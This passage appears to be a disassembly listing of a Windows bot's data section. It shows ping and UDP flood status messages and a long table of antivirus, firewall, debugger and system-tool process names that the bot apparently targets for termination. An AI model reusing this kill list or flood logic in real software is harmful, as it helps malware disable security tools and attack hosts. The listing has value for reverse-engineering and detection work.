					; DATA XREF: sub_408774+44o
		align 4
aPingFinishedSe	db '[PING]: Finished sending pings to %s.',0 ; DATA XREF: sub_4088F8+138o
		align 4
aPingErrorSendi	db '[PING]: Error sending pings to %s.',0 ; DATA XREF: sub_4088F8+6Co
		align 4
aUdpFinishedSen	db '[UDP]: Finished sending packets to %s.',0 ; DATA XREF: sub_408A81+1CAo
		align 10h
aUdpErrorSendin	db '[UDP]: Error sending pings to %s.',0 ; DATA XREF: sub_408A81+8Co
		align 4
aHass_exe	db 'hass.exe',0         ; DATA XREF: .text:0042F744o
		align 10h
aWinmp_exe	db 'winmp.exe',0        ; DATA XREF: .text:0042F740o
		align 4
aBling_exe	db 'bling.exe',0        ; DATA XREF: .text:0042F73Co
		align 4
aWuamgrd_exe	db 'wuamgrd.exe',0      ; DATA XREF: .text:0042F738o
aScguard_exe	db 'scguard.exe',0      ; DATA XREF: .text:0042F734o
aWinssv_exe	db 'winssv.exe',0       ; DATA XREF: .text:0042F730o
		align 4
aWruaclt_exe	db 'WRUACLT.EXE',0      ; DATA XREF: .text:0042F72Co
aWuacrlt_exe	db 'WUACRLT.EXE',0      ; DATA XREF: .text:0042F728o
aWuanclt_exe	db 'WUANCLT.EXE',0      ; DATA XREF: .text:0042F724o
aMsconfig_exe	db 'MsConfiG.exe',0     ; DATA XREF: .text:0042F720o
		align 10h
aI11r54n4_exe	db 'i11r54n4.exe',0     ; DATA XREF: .text:0042F71Co
		align 10h
aIrun4_exe	db 'irun4.exe',0        ; DATA XREF: .text:0042F718o
		align 4
aD3dupdate_exe	db 'd3dupdate.exe',0    ; DATA XREF: .text:0042F714o
		align 4
aRate_exe	db 'rate.exe',0         ; DATA XREF: .text:0042F710o
		align 4
aSsate_exe	db 'ssate.exe',0        ; DATA XREF: .text:0042F70Co
		align 4
aWinsys_exe	db 'winsys.exe',0       ; DATA XREF: .text:0042F708o
		align 10h
aWinupd_exe	db 'winupd.exe',0       ; DATA XREF: .text:0042F704o
		align 4
aSysmonxp_exe	db 'SysMonXP.exe',0     ; DATA XREF: .text:0042F700o
		align 4
aBbeagle_exe	db 'bbeagle.exe',0      ; DATA XREF: .text:0042F6FCo
aPenis32_exe	db 'Penis32.exe',0      ; DATA XREF: .text:0042F6F8o
aMscvb32_exe	db 'mscvb32.exe',0      ; DATA XREF: .text:0042F6F4o
aSysinfo_exe	db 'sysinfo.exe',0      ; DATA XREF: .text:0042F6F0o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .text:0042F6ECo
		align 10h
aFAgobot_exe	db 'F-AGOBOT.EXE',0     ; DATA XREF: .text:0042F6E8o
		align 10h
aHijackthis_exe	db 'HIJACKTHIS.EXE',0   ; DATA XREF: .text:0042F6E4o
		align 10h
a_avpm_exe	db '_AVPM.EXE',0        ; DATA XREF: .text:0042F6E0o
		align 4
a_avpcc_exe	db '_AVPCC.EXE',0       ; DATA XREF: .text:0042F6DCo
		align 4
a_avp32_exe	db '_AVP32.EXE',0       ; DATA XREF: .text:0042F6D8o
		align 4
aZonealarm_exe	db 'ZONEALARM.EXE',0    ; DATA XREF: .text:0042F6D4o
		align 4
aZonalm2601_exe	db 'ZONALM2601.EXE',0   ; DATA XREF: .text:0042F6D0o
		align 4
aZatutor_exe	db 'ZATUTOR.EXE',0      ; DATA XREF: .text:0042F6CCo
aZapsetup3001_e	db 'ZAPSETUP3001.EXE',0 ; DATA XREF: .text:0042F6C8o
		align 4
aZapro_exe	db 'ZAPRO.EXE',0        ; DATA XREF: .text:0042F6C4o
		align 10h
aXpf202en_exe	db 'XPF202EN.EXE',0     ; DATA XREF: .text:0042F6C0o
		align 10h
aWyvernworksfir	db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: .text:0042F6BCo
aWupdt_exe	db 'WUPDT.EXE',0        ; DATA XREF: .text:0042F6B8o
		align 4
aWupdater_exe	db 'WUPDATER.EXE',0     ; DATA XREF: .text:0042F6B4o
		align 4
aWsbgate_exe	db 'WSBGATE.EXE',0      ; DATA XREF: .text:0042F6B0o
aWrctrl_exe	db 'WRCTRL.EXE',0       ; DATA XREF: .text:0042F6ACo
		align 4
aWradmin_exe	db 'WRADMIN.EXE',0      ; DATA XREF: .text:0042F6A8o
aWnt_exe	db 'WNT.EXE',0          ; DATA XREF: .text:0042F6A4o
aWnad_exe	db 'WNAD.EXE',0         ; DATA XREF: .text:0042F6A0o
		align 4
aWkufind_exe	db 'WKUFIND.EXE',0      ; DATA XREF: .text:0042F69Co
aWinupdate_exe	db 'WINUPDATE.EXE',0    ; DATA XREF: .text:0042F698o
		align 4
aWintsk32_exe	db 'WINTSK32.EXE',0     ; DATA XREF: .text:0042F694o
		align 4
aWinstart001_ex	db 'WINSTART001.EXE',0  ; DATA XREF: .text:0042F690o
aWinstart_exe	db 'WINSTART.EXE',0     ; DATA XREF: .text:0042F68Co
		align 4
aWinssk32_exe	db 'WINSSK32.EXE',0     ; DATA XREF: .text:0042F688o
		align 4
aWinservn_exe	db 'WINSERVN.EXE',0     ; DATA XREF: .text:0042F684o
		align 4
aWinrecon_exe	db 'WINRECON.EXE',0     ; DATA XREF: .text:0042F680o
		align 4
aWinppr32_exe	db 'WINPPR32.EXE',0     ; DATA XREF: .text:0042F67Co
		align 4
aWinnet_exe	db 'WINNET.EXE',0       ; DATA XREF: .text:0042F678o
		align 4
aWinmain_exe	db 'WINMAIN.EXE',0      ; DATA XREF: .text:0042F674o
aWinlogin_exe	db 'WINLOGIN.EXE',0     ; DATA XREF: .text:0042F670o
		align 10h
aWininitx_exe	db 'WININITX.EXE',0     ; DATA XREF: .text:0042F66Co
		align 10h
aWininit_exe	db 'WININIT.EXE',0      ; DATA XREF: .text:0042F668o
aWininetd_exe	db 'WININETD.EXE',0     ; DATA XREF: .text:0042F664o
		align 4
aWindows_exe	db 'WINDOWS.EXE',0      ; DATA XREF: .text:0042F660o
aWindow_exe	db 'WINDOW.EXE',0       ; DATA XREF: .text:0042F65Co
		align 4
aWinactive_exe	db 'WINACTIVE.EXE',0    ; DATA XREF: .text:0042F658o
		align 4
aWin32us_exe	db 'WIN32US.EXE',0      ; DATA XREF: .text:0042F654o
aWin32_exe	db 'WIN32.EXE',0        ; DATA XREF: .text:0042F650o
		align 4
aWinBugsfix_exe	db 'WIN-BUGSFIX.EXE',0  ; DATA XREF: .text:0042F64Co
aWimmun32_exe	db 'WIMMUN32.EXE',0     ; DATA XREF: .text:0042F648o
		align 4
aWhoswatchingme	db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: .text:0042F644o
		align 10h
aWgfe95_exe	db 'WGFE95.EXE',0       ; DATA XREF: .text:0042F640o
		align 4
aWfindv32_exe	db 'WFINDV32.EXE',0     ; DATA XREF: .text:0042F63Co
		align 4
aWebtrap_exe	db 'WEBTRAP.EXE',0      ; DATA XREF: .text:0042F638o
aWebscanx_exe	db 'WEBSCANX.EXE',0     ; DATA XREF: .text:0042F634o
		align 4
aWebdav_exe	db 'WEBDAV.EXE',0       ; DATA XREF: .text:0042F630o
		align 4
aWatchdog_exe	db 'WATCHDOG.EXE',0     ; DATA XREF: .text:0042F62Co
		align 4
aW9x_exe	db 'W9X.EXE',0          ; DATA XREF: .text:0042F628o
aW32dsm89_exe	db 'W32DSM89.EXE',0     ; DATA XREF: .text:0042F624o
		align 4
aVswinperse_exe	db 'VSWINPERSE.EXE',0   ; DATA XREF: .text:0042F620o
		align 4
aVswinntse_exe	db 'VSWINNTSE.EXE',0    ; DATA XREF: .text:0042F61Co
		align 4
aVswin9xe_exe	db 'VSWIN9XE.EXE',0     ; DATA XREF: .text:0042F618o
		align 4
aVsstat_exe	db 'VSSTAT.EXE',0       ; DATA XREF: .text:0042F614o
		align 4
aVsmon_exe	db 'VSMON.EXE',0        ; DATA XREF: .text:0042F610o
		align 4
aVsmain_exe	db 'VSMAIN.EXE',0       ; DATA XREF: .text:0042F60Co
		align 10h
aVsisetup_exe	db 'VSISETUP.EXE',0     ; DATA XREF: .text:0042F608o
		align 10h
aVshwin32_exe	db 'VSHWIN32.EXE',0     ; DATA XREF: .text:0042F604o
		align 10h
aVsecomr_exe	db 'VSECOMR.EXE',0      ; DATA XREF: .text:0042F600o
aVsched_exe	db 'VSCHED.EXE',0       ; DATA XREF: .text:0042F5FCo
		align 4
aVscenu6_02d30_	db 'VSCENU6.02D30.EXE',0 ; DATA XREF: .text:0042F5F8o
		align 4
aVscan40_exe	db 'VSCAN40.EXE',0      ; DATA XREF: .text:0042F5F4o
aVptray_exe	db 'VPTRAY.EXE',0       ; DATA XREF: .text:0042F5F0o
		align 4
aVpfw30s_exe	db 'VPFW30S.EXE',0      ; DATA XREF: .text:0042F5ECo
aVpc42_exe	db 'VPC42.EXE',0        ; DATA XREF: .text:0042F5E8o
		align 4
aVpc32_exe	db 'VPC32.EXE',0        ; DATA XREF: .text:0042F5E4o
		align 4
aVnpc3000_exe	db 'VNPC3000.EXE',0     ; DATA XREF: .text:0042F5E0o
		align 4
aVnlan300_exe	db 'VNLAN300.EXE',0     ; DATA XREF: .text:0042F5DCo
		align 4
aVirusmdpersona	db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: .text:0042F5D8o
aVirHelp_exe	db 'VIR-HELP.EXE',0     ; DATA XREF: .text:0042F5D4o
		align 4
aVfsetup_exe	db 'VFSETUP.EXE',0      ; DATA XREF: .text:0042F5D0o
aVettray_exe	db 'VETTRAY.EXE',0      ; DATA XREF: .text:0042F5CCo
aVet95_exe	db 'VET95.EXE',0        ; DATA XREF: .text:0042F5C8o
		align 4
aVet32_exe	db 'VET32.EXE',0        ; DATA XREF: .text:0042F5C4o
		align 4
aVcsetup_exe	db 'VCSETUP.EXE',0      ; DATA XREF: .text:0042F5C0o
aVbwinntw_exe	db 'VBWINNTW.EXE',0     ; DATA XREF: .text:0042F5BCo
		align 10h
aVbwin9x_exe	db 'VBWIN9X.EXE',0      ; DATA XREF: .text:0042F5B8o
aVbust_exe	db 'VBUST.EXE',0        ; DATA XREF: .text:0042F5B4o
		align 4
aVbcons_exe	db 'VBCONS.EXE',0       ; DATA XREF: .text:0042F5B0o
		align 4
aVbcmserv_exe	db 'VBCMSERV.EXE',0     ; DATA XREF: .text:0042F5ACo
		align 4
aUtpost_exe	db 'UTPOST.EXE',0       ; DATA XREF: .text:0042F5A8o
		align 10h
aUpgrad_exe	db 'UPGRAD.EXE',0       ; DATA XREF: .text:0042F5A4o
		align 4
aUpdate_exe	db 'UPDATE.EXE',0       ; DATA XREF: .text:0042F59Co
					; .text:0042F5A0o
		align 4
aUpdat_exe	db 'UPDAT.EXE',0        ; DATA XREF: .text:0042F598o
		align 4
aUndoboot_exe	db 'UNDOBOOT.EXE',0     ; DATA XREF: .text:0042F594o
		align 4
aTvtmd_exe	db 'TVTMD.EXE',0        ; DATA XREF: .text:0042F590o
		align 10h
aTvmd_exe	db 'TVMD.EXE',0         ; DATA XREF: .text:0042F58Co
		align 4
aTsadbot_exe	db 'TSADBOT.EXE',0      ; DATA XREF: .text:0042F588o
aTrojantrap3_ex	db 'TROJANTRAP3.EXE',0  ; DATA XREF: .text:0042F584o
aTrjsetup_exe	db 'TRJSETUP.EXE',0     ; DATA XREF: .text:0042F580o
		align 4
aTrjscan_exe	db 'TRJSCAN.EXE',0      ; DATA XREF: .text:0042F57Co
aTrickler_exe	db 'TRICKLER.EXE',0     ; DATA XREF: .text:0042F578o
		align 4
aTracert_exe	db 'TRACERT.EXE',0      ; DATA XREF: .text:0042F574o
aTitaninxp_exe	db 'TITANINXP.EXE',0    ; DATA XREF: .text:0042F570o
		align 10h
aTitanin_exe	db 'TITANIN.EXE',0      ; DATA XREF: .text:0042F56Co
aTgbob_exe	db 'TGBOB.EXE',0        ; DATA XREF: .text:0042F568o
		align 4
aTfak5_exe	db 'TFAK5.EXE',0        ; DATA XREF: .text:0042F564o
		align 4
aTfak_exe	db 'TFAK.EXE',0         ; DATA XREF: .text:0042F560o
		align 10h
aTeekids_exe	db 'TEEKIDS.EXE',0      ; DATA XREF: .text:0042F55Co
aTds2Nt_exe	db 'TDS2-NT.EXE',0      ; DATA XREF: .text:0042F558o
aTds298_exe	db 'TDS2-98.EXE',0      ; DATA XREF: .text:0042F554o
aTds3_exe	db 'TDS-3.EXE',0        ; DATA XREF: .text:0042F550o
		align 10h
aTcm_exe	db 'TCM.EXE',0          ; DATA XREF: .text:0042F54Co
aTca_exe	db 'TCA.EXE',0          ; DATA XREF: .text:0042F548o
aTc_exe		db 'TC.EXE',0           ; DATA XREF: .text:0042F544o
		align 4
aTbscan_exe	db 'TBSCAN.EXE',0       ; DATA XREF: .text:0042F540o
		align 4
aTaumon_exe	db 'TAUMON.EXE',0       ; DATA XREF: .text:0042F53Co
		align 10h
aTaskmon_exe	db 'TASKMON.EXE',0      ; DATA XREF: .text:0042F538o
aTaskmo_exe	db 'TASKMO.EXE',0       ; DATA XREF: .text:0042F534o
		align 4
aTaskmg_exe	db 'TASKMG.EXE',0       ; DATA XREF: .text:0042F530o
		align 4
aSysupd_exe	db 'SYSUPD.EXE',0       ; DATA XREF: .text:0042F52Co
		align 10h
aSystem32_exe	db 'SYSTEM32.EXE',0     ; DATA XREF: .text:0042F528o
		align 10h
aSystem_exe	db 'SYSTEM.EXE',0       ; DATA XREF: .text:0042F524o
		align 4
aSysedit_exe	db 'SYSEDIT.EXE',0      ; DATA XREF: .text:0042F520o
aSymtray_exe	db 'SYMTRAY.EXE',0      ; DATA XREF: .text:0042F51Co
aSymproxysvc_ex	db 'SYMPROXYSVC.EXE',0  ; DATA XREF: .text:0042F518o
aSweepnet_sweep	db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: .text:0042F514o
		align 4
aSweep95_exe	db 'SWEEP95.EXE',0      ; DATA XREF: .text:0042F510o
aUpd32_exe	db 'UPD32.EXE',0        ; DATA XREF: .text:0042F50Co
		align 10h
aSvshost32_exe	db 'SVSHOST32.EXE',0    ; DATA XREF: .text:0042F508o
		align 10h
aSvshost_exe	db 'SVSHOST.EXE',0      ; DATA XREF: .text:0042F504o
aSvchosts_exe	db 'SVCHOSTS.EXE',0     ; DATA XREF: .text:0042F500o
		align 4
aSvchostc_exe	db 'SVCHOSTC.EXE',0     ; DATA XREF: .text:0042F4FCo
		align 4
aSvc_exe	db 'SVC.EXE',0          ; DATA XREF: .text:0042F4F8o
aSupporter5_exe	db 'SUPPORTER5.EXE',0   ; DATA XREF: .text:0042F4F4o
		align 4
aSupport_exe	db 'SUPPORT.EXE',0      ; DATA XREF: .text:0042F4F0o
aSupftrl_exe	db 'SUPFTRL.EXE',0      ; DATA XREF: .text:0042F4ECo
aStcloader_exe	db 'STCLOADER.EXE',0    ; DATA XREF: .text:0042F4E8o
		align 4
aStart_exe	db 'START.EXE',0        ; DATA XREF: .text:0042F4E4o
		align 4
aSt2_exe	db 'ST2.EXE',0          ; DATA XREF: .text:0042F4E0o
aSsg_4104_exe	db 'SSG_4104.EXE',0     ; DATA XREF: .text:0042F4DCo
		align 10h
aSsgrate_exe	db 'SSGRATE.EXE',0      ; DATA XREF: .text:0042F4D8o
aSs3edit_exe	db 'SS3EDIT.EXE',0      ; DATA XREF: .text:0042F4D4o
aSrng_exe	db 'SRNG.EXE',0         ; DATA XREF: .text:0042F4D0o
		align 4
aSrexe_exe	db 'SREXE.EXE',0        ; DATA XREF: .text:0042F4CCo
		align 10h
aSpyxx_exe	db 'SPYXX.EXE',0        ; DATA XREF: .text:0042F4C8o
		align 4
aSpoolsv32_exe	db 'SPOOLSV32.EXE',0    ; DATA XREF: .text:0042F4C4o
		align 4
aSpoolcv_exe	db 'SPOOLCV.EXE',0      ; DATA XREF: .text:0042F4C0o
aSpoler_exe	db 'SPOLER.EXE',0       ; DATA XREF: .text:0042F4BCo
		align 4
aSphinx_exe	db 'SPHINX.EXE',0       ; DATA XREF: .text:0042F4B8o
		align 10h
aSpf_exe	db 'SPF.EXE',0          ; DATA XREF: .text:0042F4B4o
aSperm_exe	db 'SPERM.EXE',0        ; DATA XREF: .text:0042F4B0o
		align 4
aSofi_exe	db 'SOFI.EXE',0         ; DATA XREF: .text:0042F4ACo
		align 10h
aSoap_exe	db 'SOAP.EXE',0         ; DATA XREF: .text:0042F4A8o
		align 4
aSmss32_exe	db 'SMSS32.EXE',0       ; DATA XREF: .text:0042F4A4o
		align 4
aSms_exe	db 'SMS.EXE',0          ; DATA XREF: .text:0042F4A0o
aSmc_exe	db 'SMC.EXE',0          ; DATA XREF: .text:0042F49Co
aShowbehind_exe	db 'SHOWBEHIND.EXE',0   ; DATA XREF: .text:0042F498o
		align 4
aShn_exe	db 'SHN.EXE',0          ; DATA XREF: .text:0042F494o
aShellspyinstal	db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: .text:0042F490o
aSh_exe		db 'SH.EXE',0           ; DATA XREF: .text:0042F48Co
		align 4
aSgssfw32_exe	db 'SGSSFW32.EXE',0     ; DATA XREF: .text:0042F488o
		align 4
aSfc_exe	db 'SFC.EXE',0          ; DATA XREF: .text:0042F484o
aSetup_flowprot	db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: .text:0042F480o
		align 10h
aSetupvameeval_	db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: .text:0042F47Co
		align 4
aServlces_exe	db 'SERVLCES.EXE',0     ; DATA XREF: .text:0042F478o
		align 4
aServlce_exe	db 'SERVLCE.EXE',0      ; DATA XREF: .text:0042F474o
aService_exe	db 'SERVICE.EXE',0      ; DATA XREF: .text:0042F470o
aServ95_exe	db 'SERV95.EXE',0       ; DATA XREF: .text:0042F46Co
		align 4
aSd_exe		db 'SD.EXE',0           ; DATA XREF: .text:0042F468o
		align 10h
aScvhost_exe	db 'SCVHOST.EXE',0      ; DATA XREF: .text:0042F464o
aScrsvr_exe	db 'SCRSVR.EXE',0       ; DATA XREF: .text:0042F460o
		align 4
aScrscan_exe	db 'SCRSCAN.EXE',0      ; DATA XREF: .text:0042F45Co
aScanpm_exe	db 'SCANPM.EXE',0       ; DATA XREF: .text:0042F458o
		align 10h
aScan95_exe	db 'SCAN95.EXE',0       ; DATA XREF: .text:0042F454o
		align 4
aScan32_exe	db 'SCAN32.EXE',0       ; DATA XREF: .text:0042F450o
		align 4
aScam32_exe	db 'SCAM32.EXE',0       ; DATA XREF: .text:0042F44Co
		align 4
aSc_exe		db 'SC.EXE',0           ; DATA XREF: .text:0042F448o
		align 4
aSbserv_exe	db 'SBSERV.EXE',0       ; DATA XREF: .text:0042F444o
		align 4
aSavenow_exe	db 'SAVENOW.EXE',0      ; DATA XREF: .text:0042F440o
aSave_exe	db 'SAVE.EXE',0         ; DATA XREF: .text:0042F43Co
		align 10h
aSahagent_exe	db 'SAHAGENT.EXE',0     ; DATA XREF: .text:0042F438o
		align 10h
aSafeweb_exe	db 'SAFEWEB.EXE',0      ; DATA XREF: .text:0042F434o
aRuxdll32_exe	db 'RUXDLL32.EXE',0     ; DATA XREF: .text:0042F430o
		align 4
aRundll16_exe	db 'RUNDLL16.EXE',0     ; DATA XREF: .text:0042F42Co
		align 4
aRundll_exe	db 'RUNDLL.EXE',0       ; DATA XREF: .text:0042F428o
		align 4
aRun32dll_exe	db 'RUN32DLL.EXE',0     ; DATA XREF: .text:0042F424o
		align 4
aRulaunch_exe	db 'RULAUNCH.EXE',0     ; DATA XREF: .text:0042F420o
		align 4
aRtvscn95_exe	db 'RTVSCN95.EXE',0     ; DATA XREF: .text:0042F41Co
		align 4
aRtvscan_exe	db 'RTVSCAN.EXE',0      ; DATA XREF: .text:0042F418o
aRshell_exe	db 'RSHELL.EXE',0       ; DATA XREF: .text:0042F414o
		align 10h
aRrguard_exe	db 'RRGUARD.EXE',0      ; DATA XREF: .text:0042F410o
aRescue32_exe	db 'RESCUE32.EXE',0     ; DATA XREF: .text:0042F40Co
		align 4
aRescue_exe	db 'RESCUE.EXE',0       ; DATA XREF: .text:0042F408o
		align 4
aRegedt32_exe	db 'REGEDT32.EXE',0     ; DATA XREF: .text:0042F404o
		align 4
aRegedit_exe	db 'REGEDIT.EXE',0      ; DATA XREF: .text:0042F400o
aReged_exe	db 'REGED.EXE',0        ; DATA XREF: .text:0042F3FCo
		align 10h
aRealmon_exe	db 'REALMON.EXE',0      ; DATA XREF: .text:0042F3F8o
aRcsync_exe	db 'RCSYNC.EXE',0       ; DATA XREF: .text:0042F3F4o
		align 4
aRb32_exe	db 'RB32.EXE',0         ; DATA XREF: .text:0042F3F0o
		align 4
aRay_exe	db 'RAY.EXE',0          ; DATA XREF: .text:0042F3ECo
aRav8win32eng_e	db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: .text:0042F3E8o
		align 10h
aRav7win_exe	db 'RAV7WIN.EXE',0      ; DATA XREF: .text:0042F3E4o
aRav7_exe	db 'RAV7.EXE',0         ; DATA XREF: .text:0042F3E0o
		align 4
aRapapp_exe	db 'RAPAPP.EXE',0       ; DATA XREF: .text:0042F3DCo
		align 4
aQserver_exe	db 'QSERVER.EXE',0      ; DATA XREF: .text:0042F3D8o
aQconsole_exe	db 'QCONSOLE.EXE',0     ; DATA XREF: .text:0042F3D4o
		align 10h
aPview95_exe	db 'PVIEW95.EXE',0      ; DATA XREF: .text:0042F3D0o
aPussy_exe	db 'PUSSY.EXE',0        ; DATA XREF: .text:0042F3CCo
		align 4
aPurge_exe	db 'PURGE.EXE',0        ; DATA XREF: .text:0042F3C8o
		align 4
aPspf_exe	db 'PSPF.EXE',0         ; DATA XREF: .text:0042F3C4o
		align 10h
aProtectx_exe	db 'PROTECTX.EXE',0     ; DATA XREF: .text:0042F3C0o
		align 10h
aProport_exe	db 'PROPORT.EXE',0      ; DATA XREF: .text:0042F3BCo
aProgramauditor	db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: .text:0042F3B8o
		align 10h
aProcexplorerv1	db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: .text:0042F3B4o
		align 4
aProcessmonitor	db 'PROCESSMONITOR.EXE',0 ; DATA XREF: .text:0042F3B0o
		align 4
aProcdump_exe	db 'PROCDUMP.EXE',0     ; DATA XREF: .text:0042F3ACo
		align 4
aPrmvr_exe	db 'PRMVR.EXE',0        ; DATA XREF: .text:0042F3A8o
		align 4
aPrmt_exe	db 'PRMT.EXE',0         ; DATA XREF: .text:0042F3A4o
		align 4
aPrizesurfer_ex	db 'PRIZESURFER.EXE',0  ; DATA XREF: .text:0042F3A0o
aPpvstop_exe	db 'PPVSTOP.EXE',0      ; DATA XREF: .text:0042F39Co
aPptbc_exe	db 'PPTBC.EXE',0        ; DATA XREF: .text:0042F398o
		align 4
aPpinupdt_exe	db 'PPINUPDT.EXE',0     ; DATA XREF: .text:0042F394o
		align 4
aPowerscan_exe	db 'POWERSCAN.EXE',0    ; DATA XREF: .text:0042F390o
		align 4
aPortmonitor_ex	db 'PORTMONITOR.EXE',0  ; DATA XREF: .text:0042F38Co
aPortdetective_	db 'PORTDETECTIVE.EXE',0 ; DATA XREF: .text:0042F388o
		align 10h
aPopscan_exe	db 'POPSCAN.EXE',0      ; DATA XREF: .text:0042F384o
aPoproxy_exe	db 'POPROXY.EXE',0      ; DATA XREF: .text:0042F380o
aPop3trap_exe	db 'POP3TRAP.EXE',0     ; DATA XREF: .text:0042F37Co
		align 4
aPlatin_exe	db 'PLATIN.EXE',0       ; DATA XREF: .text:0042F378o
		align 4
aPingscan_exe	db 'PINGSCAN.EXE',0     ; DATA XREF: .text:0042F374o
		align 4
aPgmonitr_exe	db 'PGMONITR.EXE',0     ; DATA XREF: .text:0042F370o
		align 4
aPfwadmin_exe	db 'PFWADMIN.EXE',0     ; DATA XREF: .text:0042F36Co
		align 4
aPf2_exe	db 'PF2.EXE',0          ; DATA XREF: .text:0042F368o
aPerswf_exe	db 'PERSWF.EXE',0       ; DATA XREF: .text:0042F364o
		align 4
aPersfw_exe	db 'PERSFW.EXE',0       ; DATA XREF: .text:0042F360o
		align 4
aPeriscope_exe	db 'PERISCOPE.EXE',0    ; DATA XREF: .text:0042F35Co
		align 4
aPenis_exe	db 'PENIS.EXE',0        ; DATA XREF: .text:0042F358o
		align 10h
aPdsetup_exe	db 'PDSETUP.EXE',0      ; DATA XREF: .text:0042F354o
aPcscan_exe	db 'PCSCAN.EXE',0       ; DATA XREF: .text:0042F350o
		align 4
aPcip10117_0_ex	db 'PCIP10117_0.EXE',0  ; DATA XREF: .text:0042F34Co
aPcfwallicon_ex	db 'PCFWALLICON.EXE',0  ; DATA XREF: .text:0042F348o
aPcdsetup_exe	db 'PCDSETUP.EXE',0     ; DATA XREF: .text:0042F344o
		align 4
aPccwin98_exe	db 'PCCWIN98.EXE',0     ; DATA XREF: .text:0042F340o
		align 4
aPccwin97_exe	db 'PCCWIN97.EXE',0     ; DATA XREF: .text:0042F33Co
		align 4
aPccntmon_exe	db 'PCCNTMON.EXE',0     ; DATA XREF: .text:0042F338o
		align 4
aPcciomon_exe	db 'PCCIOMON.EXE',0     ; DATA XREF: .text:0042F334o
		align 4
aPcc2k_76_1436_	db 'PCC2K_76_1436.EXE',0 ; DATA XREF: .text:0042F330o
		align 4
aPcc2002s902_ex	db 'PCC2002S902.EXE',0  ; DATA XREF: .text:0042F32Co
aPavw_exe	db 'PAVW.EXE',0         ; DATA XREF: .text:0042F328o
		align 4
aPavsched_exe	db 'PAVSCHED.EXE',0     ; DATA XREF: .text:0042F324o
		align 4
aPavproxy_exe	db 'PAVPROXY.EXE',0     ; DATA XREF: .text:0042F320o
		align 4
aPavcl_exe	db 'PAVCL.EXE',0        ; DATA XREF: .text:0042F31Co
		align 4
aPatch_exe	db 'PATCH.EXE',0        ; DATA XREF: .text:0042F318o
		align 10h
aPanixk_exe	db 'PANIXK.EXE',0       ; DATA XREF: .text:0042F314o
		align 4
aPadmin_exe	db 'PADMIN.EXE',0       ; DATA XREF: .text:0042F310o
		align 4
aOutpostproinst	db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: .text:0042F30Co
		align 10h
aOutpostinstall	db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: .text:0042F308o
		align 4
aOutpost_exe	db 'OUTPOST.EXE',0      ; DATA XREF: .text:0042F300o
					; .text:0042F304o
aOtfix_exe	db 'OTFIX.EXE',0        ; DATA XREF: .text:0042F2FCo
		align 4
aOstronet_exe	db 'OSTRONET.EXE',0     ; DATA XREF: .text:0042F2F8o
		align 4
aOptimize_exe	db 'OPTIMIZE.EXE',0     ; DATA XREF: .text:0042F2F4o
		align 4
aOnsrvr_exe	db 'ONSRVR.EXE',0       ; DATA XREF: .text:0042F2F0o
		align 4
aOllydbg_exe	db 'OLLYDBG.EXE',0      ; DATA XREF: .text:0042F2ECo
aNwtool16_exe	db 'NWTOOL16.EXE',0     ; DATA XREF: .text:0042F2E8o
		align 4
aNwservice_exe	db 'NWSERVICE.EXE',0    ; DATA XREF: .text:0042F2E4o
		align 4
aNwinst4_exe	db 'NWINST4.EXE',0      ; DATA XREF: .text:0042F2E0o
aNvsvc32_exe	db 'NVSVC32.EXE',0      ; DATA XREF: .text:0042F2DCo
aNvc95_exe	db 'NVC95.EXE',0        ; DATA XREF: .text:0042F2D8o
		align 4
aNvarch16_exe	db 'NVARCH16.EXE',0     ; DATA XREF: .text:0042F2D4o
		align 4
aNupgrade_exe	db 'NUPGRADE.EXE',0     ; DATA XREF: .text:0042F2CCo
					; .text:0042F2D0o
		align 4
aNui_exe	db 'NUI.EXE',0          ; DATA XREF: .text:0042F2C8o
aNtxconfig_exe	db 'NTXconfig.EXE',0    ; DATA XREF: .text:0042F2C4o
		align 10h
aNtvdm_exe	db 'NTVDM.EXE',0        ; DATA XREF: .text:0042F2C0o
		align 4
aNtrtscan_exe	db 'NTRTSCAN.EXE',0     ; DATA XREF: .text:0042F2BCo
		align 4
aNt_exe		db 'NT.EXE',0           ; DATA XREF: .text:0042F2B8o
		align 4
aNsupdate_exe	db 'NSUPDATE.EXE',0     ; DATA XREF: .text:0042F2B4o
		align 4
aNstask32_exe	db 'NSTASK32.EXE',0     ; DATA XREF: .text:0042F2B0o
		align 4
aNssys32_exe	db 'NSSYS32.EXE',0      ; DATA XREF: .text:0042F2ACo
aNsched32_exe	db 'NSCHED32.EXE',0     ; DATA XREF: .text:0042F2A8o
		align 10h
aNpssvc_exe	db 'NPSSVC.EXE',0       ; DATA XREF: .text:0042F2A4o
		align 4
aNpscheck_exe	db 'NPSCHECK.EXE',0     ; DATA XREF: .text:0042F2A0o
		align 4
aNprotect_exe	db 'NPROTECT.EXE',0     ; DATA XREF: .text:0042F29Co
		align 4
aNpfmessenger_e	db 'NPFMESSENGER.EXE',0 ; DATA XREF: .text:0042F298o
		align 10h
aNpf40_tw_98_nt	db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: .text:0042F294o
		align 4
aNotstart_exe	db 'NOTSTART.EXE',0     ; DATA XREF: .text:0042F290o
		align 4
aNorton_interne	db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: .text:0042F28Co
		align 10h
aNormist_exe	db 'NORMIST.EXE',0      ; DATA XREF: .text:0042F288o
aNod32_exe	db 'NOD32.EXE',0        ; DATA XREF: .text:0042F284o
		align 4
aNmain_exe	db 'NMAIN.EXE',0        ; DATA XREF: .text:0042F280o
		align 4
aNisum_exe	db 'NISUM.EXE',0        ; DATA XREF: .text:0042F27Co
		align 10h
aNisserv_exe	db 'NISSERV.EXE',0      ; DATA XREF: .text:0042F278o
aNetutils_exe	db 'NETUTILS.EXE',0     ; DATA XREF: .text:0042F274o
		align 4
aNetstat_exe	db 'NETSTAT.EXE',0      ; DATA XREF: .text:0042F270o
